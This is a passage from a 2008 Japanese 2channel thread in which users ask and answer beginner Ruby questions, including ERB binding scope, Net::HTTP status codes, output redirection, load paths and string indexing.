483 名前:デフォルトの名無しさん [2008/02/02(土) 14:05:59 ] erbについて質問があります。 下記のようなコードを書いてerbに変数ItemListの内容を出力しようと思います。 PHPのテンプレートエンジンのSmartyのようにassignメソッドがあればいいのですが どうも見当たりません。 変数のスコープの問題だと思うのですが、どうやって出力すればいいのでしょうか? def initialize @cgi=CGI.new end # 商品一覧 def doItemList @erb = ERB.new("item_list.tpl") im=ItemManager.new() itemList=im.getItemList(10) display() end # テンプレート出力 def display(contentType="text/html") print "Content-Type: #{contentType}\n\n" print @erb.result(binding) end
484 名前:デフォルトの名無しさん [2008/02/02(土) 14:49:15 ] Rubyが面白そうなので今日からRubyをはじめます(^-^) まずはダウンロードしてこなきゃ!!o(^-^)o
485 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 14:54:20 ] >>460 俺がよく書くのは > ruby -e "puts ENV['PATH'].split(';')"(sortを加えることも) だって、生のPATH記述って読み辛いんだもの…。
486 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 15:00:05 ] >>459 なんだかすごく助けられた気がする 深謝
487 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 15:09:33 ] >>483 erbを一度も使ったことのない俺がWeb上の解説を読んで適当に回答するよ! > in `display': undefined local variable or method `itemList' for #<MyCGI:0x4030ed9c> (NameError) こんなエラーが出るという質問だと推測。itemListをインスタンス変数あたりに書き変えると動いたよ! require 'erb' class MyCGI def doItemList im = ItemManager.new @itemList = im.getItemList(10) @erb = ERB.new(DATA.read) display end def display(contentType="text/html") @contentType = contentType @erb.run(binding) end end class ItemManager def getItemList(n); (1..n).to_a; end end MyCGI.new.doItemList __END__ Content-Type: <%= @contentType+"\n\n" %> <%= @itemList.join(',') %>
488 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 15:17:35 ] @erb.runあるいは@erb.resultをするメソッドから erbスクリプト内で使ってる名前の変数が読めないとダメっぽいという話。たぶん。 だからこれでも動く。displayに引数があるのは気持ち悪いのでoutputに変更(というかdisplayはto_sの以下略) require 'erb' class MyCGI def doItemList im=ItemManager.new itemList=im.getItemList(10) @erb = ERB.new(DATA.read) output(itemList) end def output(itemList, contentType='text/html') @erb.run(binding) end end class ItemManager def getItemList(n); (1..n).to_a; end end MyCGI.new.doItemList __END__ Content-Type: <%= contentType+"\n\n" %> <%= itemList.join(',') %>
489 名前:デフォルトの名無しさん [2008/02/02(土) 15:17:35 ] >>487 レスどうもです。 やっぱり、スコープの問題なんですね。 MyCGIのインスタンス変数にしてしまうってのが・・・ なんか書き方として気持ち悪いような。 itemListのまま使いたいとすれば、def doItemListの中でerbを使うしかないって事ですかね? やっぱり、assign欲しい・・・
490 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 15:54:52 ] assignだと何か便利なんですかね あとerb使うときはERB::Utilでエスケープするようにしてくれえ
491 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 16:42:55 ] bindingはただの関数的メソッドなので、変数に入れてdisplayに渡せばいい ただ、bindingしたあとにローカル変数を「追加」するのは面倒なので注意 この場合、display内でcontentTypeを設定してitem_list.tplで使用するのは面倒 # item_list.tpl <%=h itemList.map{|e| "<#{e}>"}.join(' ') %> # out.rb require 'erb' class MyCGI include ERB::Util def doItemList @erb = ERB.new(File.open("item_list.tpl").read) im=ItemManager.new() itemList=im.getItemList(10) binding_data = binding display(binding_data) end def display(binding_data,contentType='text/html') print "Content-Type: #{contentType}\n\n" print @erb.result(binding_data) end end class ItemManager def getItemList(n) ['あ','い','う','え','お']; end end MyCGI.new.doItemList
492 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 17:14:24 ] >>482 ハッシュを加工するなら空のハッシュを返すかも HTMLから抜き出すならnilでいいんじゃね
493 名前:デフォルトの名無しさん [2008/02/02(土) 17:30:02 ] >>490 assignあると明示的にこれ使いますよってできるから、わかりやすいんですよ。個人的には。 Railsだと、erbのスコープはどうなってるんでしょう?
494 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 17:48:35 ] 引数バージョンをことごとく無視してるのは何か理由があるのか いっそのことPHPで書けば?
495 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 19:35:17 ] 引数バージョンって何?
496 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 19:41:33 ] bindingをdisplayの引数にすれば? ということじゃないの?
497 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 19:43:30 ] >>482 >ネット上の、時々更新されるHTMLをパースしてハッシュにして返すメソッドを作りました。 >しかし、「データがありません」という場合どうするかで悩んでます。 > >a) 空のハッシュ {} を返す >b) 偽である nil を返す >c) 自作の例外を発生させる 「データがありません」を表すなら、b) がよい。 a) は、データがない場合とある場合とを同じように扱いたい場合に採用する設計。 c) はやりすぎ。 ただ、b)とa)はそう大差がない。
498 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 19:55:28 ] >>489 >やっぱり、assign欲しい・・・ あんま関係ないけど、Erubisだとできるみたい。assignじゃなくてHashつかうんだけど。 def doItemList @eruby = Erubis::Eruby.new(DATA.read) itemList = ItemManager.new.getItemList(10) output(:itemList=>itemList) end def output(hash) print @eruby.evaluate(hash) end >>490 >あとerb使うときはERB::Utilでエスケープするようにしてくれえ これもErubis::EscapedEruby使うとデフォルトでエスケープされる。
499 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 20:23:12 ] >>496 >>488 もじゃね? 表示したいデータをローカル変数にした状態でrunするので問題ないと思うんだけどなあ 変数の参照を全部持ってくbindingがイヤなんだろ、つまり
500 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 20:26:23 ] >>499 *.rhtmlでローカル変数を変更したら、それがもとのプログラムにも影響与えるじゃん。問題ありだろ。
501 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 20:48:21 ] require 'erb' def main include ERB::Util erb = ERB.new(DATA.read) str = 'strは文字列だよ!' puts str message = 'こんにちは' print erb.result(binding) puts str end main __END__ <%=h message %> <% str='strが変更されました' %> ============================= ~$ ruby erb.rb strは文字列だよ! こんにちは strが変更されました ~$ ぬう
502 名前:デフォルトの名無しさん [2008/02/02(土) 20:59:25 ] ページキャッシュ機能持ってるRubyのテンプレートエンジンってないの?
503 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 21:12:24 ] >>500-501 require 'erb' class MyCGI def main str = 'default' p str msg1 = 'Hello'; msg2 = 'World' output(msg1, msg2) p str end def output(msg1, msg2) erb = ERB.new(DATA.read) erb.run(binding) end end MyCGI.new.main __END__ <%= "#{msg1},#{msg2}!" %> <% str='**CHANGED**' %> - - - 8< - - - 8< - - - 8< - - - 8< - - - 8< - - - $ ./test.rb "default" Hello,World! "default"
504 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 21:33:11 ] そんなに気になるならErb.newしてrunするクラスを別途作れば? っていうのがきっとErubisなんだろうな…
505 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 21:38:29 ] >>502 出力結果のHTMLをキャッシュするという話なら、それはテンプレートエンジンとは別に用意する機能だよ。 テンプレートエンジンに持たせる機能じゃない。
506 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 21:56:08 ] >>505 つSmarty
507 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 22:17:06 ] 素のERBには無理だろうね そこまでは気を遣ってないというかそれは自力でやれというか …Erubisにはあるようなことが書いてあるなあ ttp://www.kuwata-lab.com/erubis/users-guide.06.html#topics-caching
508 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 23:35:37 ] Erubisは高速なERBとして、開発されてて、 その高速化の手段の一つとして、キャッシュすることも挙げてたからな。 Preprocessing 何つー機能もあるくらいだし
509 名前:デフォルトの名無しさん mailto:sage [2008/02/02(土) 23:38:54 ] 別にERBは遅くないけどね
510 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 02:08:48 ] プログラムの中から、コンソール出力に行くはずのテキストオブジェクトを奪ってファイルに出力したいんだけど。。 より具体的にはTest::Unitを使いたいんだが、そのログをファイルにしたい。 ぱっとリファレンスを読んだ限りじゃそういう類の見つからないし、なんかいい方法ないですか。 もし複数いい方法があれば、それぞれの違いについて簡単な解説つきだととても助かる。
511 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 02:10:55 ] ruby unko.rb > benki.txt
512 名前:デフォルトの名無しさん [2008/02/03(日) 02:21:20 ] はじめまして、ネットワークの初歩のコードを書いてみたのですが def checkSite( address ) url = URI.parse(address) res = Net::HTTP.start(url.host, url.port){|http| http.head(url.path) } # HTTP_OKなら if res.code == 200 then p res['content-type'] else p res['content-type'] puts "error : " + res.code.to_s end end 実行結果が "text/html;charset=UTF-8" error : 200 になります res.code == 200なのにifでうまくひっかかりません これは何を勘違いしているのかご指摘お願いしますm(__)m
513 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 02:25:00 ] "200"
514 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 02:27:07 ] >>512 こういうのは自分で実際にデータを表示して試行錯誤 require 'uri' require 'net/http' url = URI.parse('www.2ch.net/ ') res = Net::HTTP.start(url.host, url.port){|http| http.head(url.path) } p res.code の実行結果 $ ./http.rb "200" つまりはそういうこと
515 名前:デフォルトの名無しさん [2008/02/03(日) 02:29:21 ] if res.code == '200' then ならOK
516 名前:デフォルトの名無しさん [2008/02/03(日) 02:31:10 ] >>513 >>514 >>515 さっそくのお返事ありがとうございます、解決しました res.codeは数値だと思い込んでいて(.to_sできるし)ハマっていました
517 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 02:46:58 ] '200'と書くよりはわかりやすい(かも) require 'net/http' Net::HTTP.version_1_2 uri = URI.parse('www.2ch.net/ ') res = Net::HTTP.start(uri.host, uri.port){|http| http.head(uri.path) } if res.code_type == Net::HTTPOK p res end
518 名前:510 mailto:sage [2008/02/03(日) 03:16:21 ] >>511
519 名前:510 mailto:sage [2008/02/03(日) 03:16:48 ] すまん… >>511
520 名前:510 mailto:sage [2008/02/03(日) 03:21:00 ] すまん、二回も立て続けに書きかけで書き込んでしまった >>511 えと、それが出来るのならそうしたんだ。 ただ、残念ながら、telnetが禁止されてるレンタルサーバー上で、念のためモジュールテストを行いたくて、 そいでそういうニーズが出てきてるんだよ。 だから、そうやってコマンドラインでリダイレクトできれば楽なんだけど、コマンドラインそのものが扱えないというわけ。 まぁもっとも、UnixもRubyも初心者なので、その回答で正しいのなら…もう少し説明してくれると助かる。
521 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 03:25:56 ] #!/usr/bin/ruby system("ruby unko.rb > benki.txt")
522 名前:510 mailto:sage [2008/02/03(日) 03:34:55 ] 当たり前でシンプル。 ありがとう。なるほど。 後は必要に応じて加工し放題だな。
523 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 03:39:09 ] Ruby的には出力先をねじ曲げるのが妥当 $stdout=File.open('output.txt','w') $stderr=File.open('errors.txt','w') puts 'テストだよん' raise 'エラーだよん' これ以降、puts や print の標準出力は$stdoutで指定したoutput.txtに、 例外とかのエラー出力は$stderrで指定したerrors.txtに書き込まれる が、これは意外とめんどいんで、シェルのリダイレクト代わりに使うなら>>521 で十二分かと
524 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 03:41:42 ] >>521 だとフォームとかの情報が伝わらないんじゃないかな? 標準入力の情報を渡す必要がありそう。
525 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 03:45:40 ] ユニットテストならフォームの情報は不要で 自分でデータ渡してるだろうから多分問題ないだろう。
526 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 04:28:14 ] >ただ、残念ながら、telnetが禁止されてるレンタルサーバー上で、念のためモジュールテストを行いたくて、 いまどきtelnetなんてどこでも禁止されてるだろ
527 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 04:31:17 ] ターミナル経由のログインのことだと解釈したけど ファミコンとかゼロックスとかと同じような感じ
528 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 05:29:46 ] 今時、telnetといって文字通り捉えるのははずかしいぞ
529 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 06:18:09 ] 今時telnetがデフォで入ってるのはWindowsとOSXくらいのもんだろw
530 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 11:46:24 ] 普通は「shellの利用が禁止されてる」っつー罠
531 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 12:17:56 ] >>529 デーモンはともかく、クライアントとしてのtelnetはPOPやHTTPみたいな プロトコルを手で喋る(?)ときに重宝するから入っていそうだが。 とはいえ、デフォでは入ってないかもな。
532 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 12:37:16 ] 本の感想サイトから書名とレビューを抜き出して表示するプログラムを作るとします。 表示は「とにかく一覧として表示されればいい(新着が存在することを明示しなくていい)」とします。 昨日抽出したとある本のデータのハッシュは以下の通りでした。PStoreで保存します。 book = {'title'=>書籍名, '著者'=>著者名, 'review'=>['面白かった。','まあまあだと思った。']} で、今日アクセスしてHTMLをスキャンした結果が today = {'title'=>書籍名, '著者'=>著者名, 'review'=>['面白かった。','まあまあだと思った。']} という、昨日と中身同じな未更新の内容でした。相手のHTMLには最終更新日などの情報はありません。 1) ハッシュの上書きの特徴を利用し、強制的にbook.update(today)してbookを今日の結果として表示させる 2) reviewの中身を比較して違いがあった場合のみbook.update(today)とかしてbookを表示する 2通りの手段があると思うんですが、2ってもしかして比較に時間かかったりしますか。 プログラム的には「差分が存在した場合のみ変数を更新」というのがいいような気はするんですが。 サイトから抜き出した要素がある日突然減ってることはありません(今日はtitleが無いとか)。
533 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 12:51:42 ] >>532 データの量にもよるけど、単純な比較に致命的な時間がかかる事はあまり無いと思う。 その前提なら変化があるのは review の項目だけだろうから、これだけでいいのでは? today['review'] == yesterday['review']
534 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 12:56:59 ] >>532 いきなり全体に上書きしてもデータ上は問題ないのなら1でいいんでないかい つまり「過去ログは不要で今日のサイトの状況のみをリアルに反映する」のが目的ならね ある日のレビューが 'review'=>['面白かった。','まあまあだと思った。','↑厨の連投自演乙wwww'] になってて、翌日に 'review'=>['面白かった。','まあまあだと思った。'] に戻ってた場合とかは、1の方法だとレビュー削除を検知も保存もできないけど、2ならやろうと思えばできる
535 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 13:02:23 ] Hash#updateは機械的にキー捜して値を更新してるだけだよね? >>533 のように変化しうるキーの値だけ更新するのが本当なんだろうけど、 100項目くらいなら全部をupdateしちゃって問題ないと思う
536 名前:デフォルトの名無しさん [2008/02/03(日) 19:45:26 ] Rakefileでtaskが失敗したことを表現するにはどうしたらよいでしょうか? test taskが成功したときのみinstall taskを実行して欲しいです exitで終了させる方法しか思いつきません task :default => [:install] task :test => OUT do |t| %x{ #{Dir.pwd + '/' + t.preqs[0]} } if $? != 0 print "sippai\n" #exit(1) end end task :install => :test do |t| print "install...\n" end
537 名前:デフォルトの名無しさん mailto:sage [2008/02/03(日) 19:52:19 ] raise でメッセージつけるとか
538 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 00:26:55 ] 中途半端に自作のデータ格納クラス作るよりも、 適当なでかいハッシュにキーと値のペアで格納したほうがマシだよね?
539 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 00:31:22 ] Structってのもあるよ。
540 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 00:36:25 ] > Struct > 構造体クラス。 > Struct.new はこのクラスのサブクラスを新たに生成します。 > 個々の構造体はサブクラスから new を使って生成します。 > 個々の構造体サブクラスでは構造体のメンバに対するアクセスメソッドが定義されています。 …ハッシュでいいや
541 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 00:37:03 ] 俺はモジュール1〜2つ作って、その中にクラス作りまくる派。 ・後でメソッド持たせたくなった時、楽 ・項目名を間違っていた場合すぐ判る ・その一連のデータにどんな項目があるかが一目瞭然
542 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 00:49:19 ] データクラスを設定するためだけにインスタンス変数をいちいち30こくらい作るの面倒なので中身はただのHashです Hashでkeyを指定するのとaccessorでインスタンス変数にアクセスするのってたいして変わらん気がする もっと複雑怪奇なデータ構造なら破綻するのかもしれないけど あとただのデータの癖にメソッドたくさん持ってるのは気持ち悪い おまえらは素直にアプリケーションクラスにいじられてればいいんだよ
543 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 01:02:19 ] ネットからデータをげっとぉするメソッド内で、アクセス間隔intervalを設定したいです。 # その1 ----------------------------- interval = nil interval = 10 if 適当な条件 … sleep interval if interval # その2 ----------------------------- if 適当な条件 then interval = 10 else interval = nil end … sleep interval if interval # その3 ----------------------------- interval = 10 if 適当な条件 … sleep interval if defined?(interval) # ----------------------------------- どれがいいかな? intervalはここでしか使わないんですが。 今までは何の疑いもなくインスタンス変数を消費して sleep @interval if @interval とか書いてたんですがこれを機にインスタンス変数の乱用減らそうかと
544 名前:デフォルトの名無しさん [2008/02/04(月) 02:04:31 ] "あいうえお"[2]で"う"が出ないのって、アホなの?
545 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 02:30:29 ] その問いへの答えは "abcde"[2]が"a"がでないのをどう受け止めるかによって変わりそう。
546 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 04:07:12 ] >>543 こーゆーのは? interval = ( 適当な条件 ? 10 : 0 ) : sleep(interval) ローカル変数で間に合うくらい近い場所ならこーするけど sleep(10) if 適当な条件
547 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 09:06:08 ] >>545 卑近実際の使い勝手が悪いのには反論の余地はないな いちいちアスキー文字に変換されないのは便利なこともあるんだろうが >>543 ローカル変数の初期値のスタンスに関する問題だということでいいよな その2かそれに類するものであるべきだとは思う その1のようにnilを指定したあとで別オブジェクトに挿げ替えるというのは気持ち悪い あと、その3は常にtrueになるような気がしてならんのだが
548 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 12:01:44 ] 驚き最小の原理的に望ましくないし、使い勝手も悪いっつーたら何の利点があるんだろ
549 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 12:18:20 ] 一応、Stringはバイト列であるという考え方らしい だったらString.eachはString.each_lineではなくString.each_byteと同じものにしとけバーカバーカ >>544 $KCODE='e' puts 'あいうえお'[4,2] "う"
550 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 12:31:02 ] >>548 驚き最小の原理というのは(Matzの)驚きが最小って意味。 Cでも"abcdef"[0]は"a"じゃないじゃん。ブロック変数がローカルでないのも Cの int i = 42; for (i = 0; i < 100; i++) { process(); } i => 99 って動作を踏まえたものだし、それなりに根拠はある。 1.9だと両方とも変わったんだけど、?aという記法は残して欲しかったな。
551 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 12:46:47 ] >>550 記法自体は残ってるよ。挙動を変えないでほしかった、という意味かな。
552 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 12:52:31 ] Perlでは文字列の4番目って何になるんだっけ、と思ったが どう書いていいのか全く思いつかなくなっててとてもショック そんなにまじめに勉強してたわけじゃないけどさー いかん、これでは「Rubyしか使えない可哀想な人」になってしまう
553 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 13:00:27 ] >>551 Yes。Emacsの記法だっけか。 >>552 RubyはPerlの互換だから、RubyのほかにPerlだけ使えてもあんまり意味ないけど 。 そういや最近話題のarcでは("abcdef" 0)が#\aなんだよな。
554 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 13:30:03 ] /home/me/ruby というディレクトリに main.rb sub.rb uri.rb という3つのファイルがあって、main.rbからsub.rbとuri.rbを読み込んで中のクラスやモジュールを利用したいです。 一番好ましい書き方は何ですか? main.rbの実行時のカレントディレクトリは/home/me/rubyだけとは限りません。
555 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 13:55:42 ] $: << File.dirname(__FILE__)
556 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 13:57:08 ] >>542 30ってヤケにでかい塊だな。
557 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 14:02:59 ] >>555 __FILE__はフルパスとは限らないので $: << File.expand_path("..", __FILE__) のほうがいい。
558 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 14:17:24 ] いやこれは意図的な罠だろ > cat uri.rb class URI MSG="このファイルは#{__FILE__}です" end > cat main.rb $LOAD_PATH << File.expand_path("..", __FILE__) require 'uri' puts URI::MSG > ruby ./main.rb main.rb:3: uninitialized constant URI::MSG (NameError) 横着せずに require をフルパスつきで読み込んだほうが確実だと思う
559 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 14:28:41 ] q = abcd q.length × 1.5 =>8 てしたいのですが、うまいことぐぐれないので助けてください。
560 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 14:35:40 ] >>559 ぐぐる以前に体系的に一通りRubyの基礎を学ぶといいぞ
561 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 14:43:43 ] 何がしたいのかもっと具体的に。
562 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 14:46:08 ] >>558 $LOAD_PATH.unshift(File.expand_path("..", __FILE__))
563 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 14:47:22 ] >>561 いや、意味は不明だがとりあえずは比較だろ q = 'abcd' if (q.length * 1.5 >= 8.0) then puts 'とりあえず8かそれ以上です(何が?)' else puts 'とりあえず8未満です(何が?)' end
564 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 14:49:44 ] >>562 それだと添付ライブラリの uri を require 'uri' で読めなくならないか 自作ファイルのほうを特別扱いするのが妥当かと思われ
565 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 14:52:57 ] ああ、-rubygemsなんか使ってたりで、すでに標準ライブラリのuri.rb読んでるとダメなのか パスが変わってないと読み込んでくれないってことか
566 名前:デフォルトの名無しさん [2008/02/04(月) 16:30:37 ] これだから、Rubyは・・・
567 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 16:32:09 ] 言語仕様自体の是非は隔離スレでやれと
568 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 16:42:17 ] 普段数十行の処理用にperl使ってる程度ですが、そういう人間にもruby使う意味ってありますか?
569 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 16:44:49 ] Perlでの記述に速度以外の不満があるのなら とらえず、既存の仕事をRubyで置き換える意味はないよ
570 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 16:45:26 ] Rubyの字面が好きなら乗り換える価値はあるかもな。 自分も1000行行った事ないけど字面が好きだから細々と使ってるよ。 正直細かい機能はほとんどしらねぇw
571 名前:568 mailto:sage [2008/02/04(月) 16:51:22 ] いえ、perlに不満があるわけではないです。 単にruby流行ってるみたいなんで興味持った、っていう程度です。スンマセン でもちょっとかじってみようかな。perlからの乗り換えも結構多いようですね
572 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 17:02:29 ] Perlの人が飯を賭けずに家で遊んでみるぶんには大変魅力的な言語でございますよ 一通り使ってみた後にはPerlでのプログラミングの筋もよくなってるという矯正効果つき
573 名前:559 mailto:sage [2008/02/04(月) 19:39:05 ] 算数ができてませんでした。 4文字を入れて出力したいのは6ってゆー数字です。
574 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 20:00:09 ] >>573 体系的に一通りRubyの基礎を学ぶといいぞ
575 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 20:03:24 ] Rubyの基礎って言うか どんなプログラム言語でもExcelとかでも 「かける」は*で「わる」は/とか プログラム以前の問題かもな
576 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 20:05:20 ] "abcd".length * 1.5 => 6.0
577 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 20:11:19 ] >>575 いや四則演算の記号はRubyの基礎だろ >>576 要件満たしてないぞ
578 名前:559 mailto:sage [2008/02/04(月) 21:10:54 ] ありがとうございました。
579 名前:デフォルトの名無しさん [2008/02/04(月) 22:31:14 ] Windows上でWinpcapを利用して、Etherealキャプチャデータをいじりたいんですが、 おすすめな方法ありますか? libpcapなら以下の方法があるみたいなんですけど・・・ www.goto.info.waseda.ac.jp/~fukusima/ruby/pcap/doc-ja/index.html
580 名前:デフォルトの名無しさん mailto:sage [2008/02/04(月) 22:32:10 ] Rubyに慣れてないようだから、コード書くより日本語で書いたほうが早かったかもね。 とりあえず、6.0を四捨五入させて6にしかたったのなら (q.length*1.5).round と書くといいよ。
581 名前:デフォルトの名無しさん mailto:sage [2008/02/05(火) 18:19:56 ] 今までRubyの公式のチュートリアルを見て勉強してきたんですが やっぱり物足りないなぁと思い始めてきました。 まだ趣味でやってる範囲なのですが本などを買ってやったほうがいいんですかね? インターネットで解説見れば無料だから・・・っていうのは甘いですか?
582 名前:デフォルトの名無しさん mailto:sage [2008/02/05(火) 18:23:29 ] 本なんかいらんよ
583 名前:デフォルトの名無しさん mailto:sage [2008/02/05(火) 18:34:14 ] Rubyistはオブジェクト指向スクリプト言語 Rubyを本棚に飾るのがマナーです
584 名前:デフォルトの名無しさん mailto:sage [2008/02/05(火) 18:39:06 ] まー、言語にかかわらず、本とか買っても意外と読まないよなー。 空き時間に小説感覚で読んだりはするけどw 慣れてきちゃえば、実用的にデジタルデータの方が楽というか。
585 名前:初心者 [2008/02/05(火) 20:10:35 ] Ruby初心者が質問します ブラウザでRubyが受け取った値をCのプログラムに渡して、Cで計算してRubyで 返すなんてことできますか?
586 名前:デフォルトの名無しさん mailto:sage [2008/02/05(火) 20:13:35 ] >>585 Ruby っつーかプログラミングと日本語の初心者だな。
587 名前:初心者(プログラミング、日本語、2ちゃんねる) [2008/02/05(火) 20:14:36 ] すまん
588 名前:デフォルトの名無しさん mailto:sage [2008/02/05(火) 20:23:22 ] よくわからん Rubyでhttpなデータをダウンロードして それをCで書いたルーチンに処理させて結果をRubyで受け取りたいって事か? それともサーバ側でRubyなCGIを動かしてボトルネックになりそうな部分をCで書きたいということか? どっちもとりあえず可能とだけいっておく。
589 名前:デフォルトの名無しさん mailto:sage [2008/02/05(火) 20:24:09 ] >ブラウザでRubyが受け取った値 ここが曖昧。Ruby組み込みブラウザか? とか言ってみる。 それともCGIなのか。COMでAcviteScriptRubyを呼ぶのか。 >Cのプログラムに渡して、Cで計算して Cで書かれた実行ファイルが既にあるのか、計算部分を 拡張ライブラリとして書き下ろすのか。 >Rubyで返す X:で -> O:に あるいはさらにRubyからブラウザになにか反映させるということか? ざっと見てこれぐらいオモタ
590 名前:デフォルトの名無しさん mailto:sage [2008/02/05(火) 21:32:46 ] SWIGのことか?
591 名前:デフォルトの名無しさん [2008/02/05(火) 23:09:44 ] だれかRubyコンパイラ作らないの?
592 名前:デフォルトの名無しさん mailto:sage [2008/02/05(火) 23:10:50 ] きちんとコンパイルされてるだろ
593 名前:デフォルトの名無しさん [2008/02/05(火) 23:12:27 ] じゃあネイティブコード吐けよ。
594 名前:デフォルトの名無しさん mailto:sage [2008/02/05(火) 23:25:57 ] B-Rubyだっけ
595 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 00:00:15 ] Rubyで、2chの特定のスレURL(またはdatファイル)を任意で指定し、 すべての投稿から、「すでに投稿された文面が再度登場していたら、 その数だけレス番付きで抽出する」 というものはできないでしょうか。 要は何がやりたいのかと言うと、 「スレッドがコピペ投稿だらけ」になっており、 レス削除要請を行いたいのです。 ただ、そのコピペの数が尋常じゃないので抽出が困難なのです。 「文面の95%が一致していたらコピペとみなす」機構が嬉しいです。
596 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 00:00:59 ] できるよ。
597 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 00:02:54 ] >>581 本が無くてもWebページで身につけられるのは事実 ただ、はじめのうちは本があった方が理解しやすい とりあえず、本屋・図書館で立ち読みしてみてはどうだろう 必要だと思ったなら買えば(借りれば)いい
598 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 00:04:02 ] どうせ買うならポケットリファレンスみたいのは避けた方がいいと思う あれはWebで調べられるし、あんまり意味ない
599 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 00:07:52 ] Webが見られないところで調べられることは重要
600 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 00:24:14 ] 言い方が悪かった。 あれは辞書みたいなもんだからテキストそのものにはならない。
601 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 00:36:37 ] >>595 丸投げするなら「Rubyの宿題スレ」の方があってるかもしれん ただ、すぐに流れるかもしれんが。 もし自分でやりたいのなら、ここで質問しまくったらできる範囲だと思う。 あと、プログラム組んだことなくて、極力自分でやりたくないなら、宿題ス(ry ヒント的なもの ・datのDLは、 open-uri でいけるだろう ・datの中身は、cvsみたいなものなので、cvsライブラリか、eachlinesあたりで ・完全一致ならハッシュ取って調べるのが楽。 ・類似度判定が一番問題 AAに特化ということで、記号の数をデータとしてとって、とか。 専門じゃないので厳密なやり方はわからん あとは、datのサンプルがいくつかいるだろう。
602 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 00:45:25 ] 今からRubyを本格的にはじめようと思ってるんですが メーリングリストはどれを購読するのがお勧めですか?
603 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 00:56:00 ] MLは初心者にはお奨めしない
604 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 01:01:22 ] >>601 類似度判定はこのスレの上の方にでてた レーベンシュタイン距離とか何とかで出来るんじゃね?
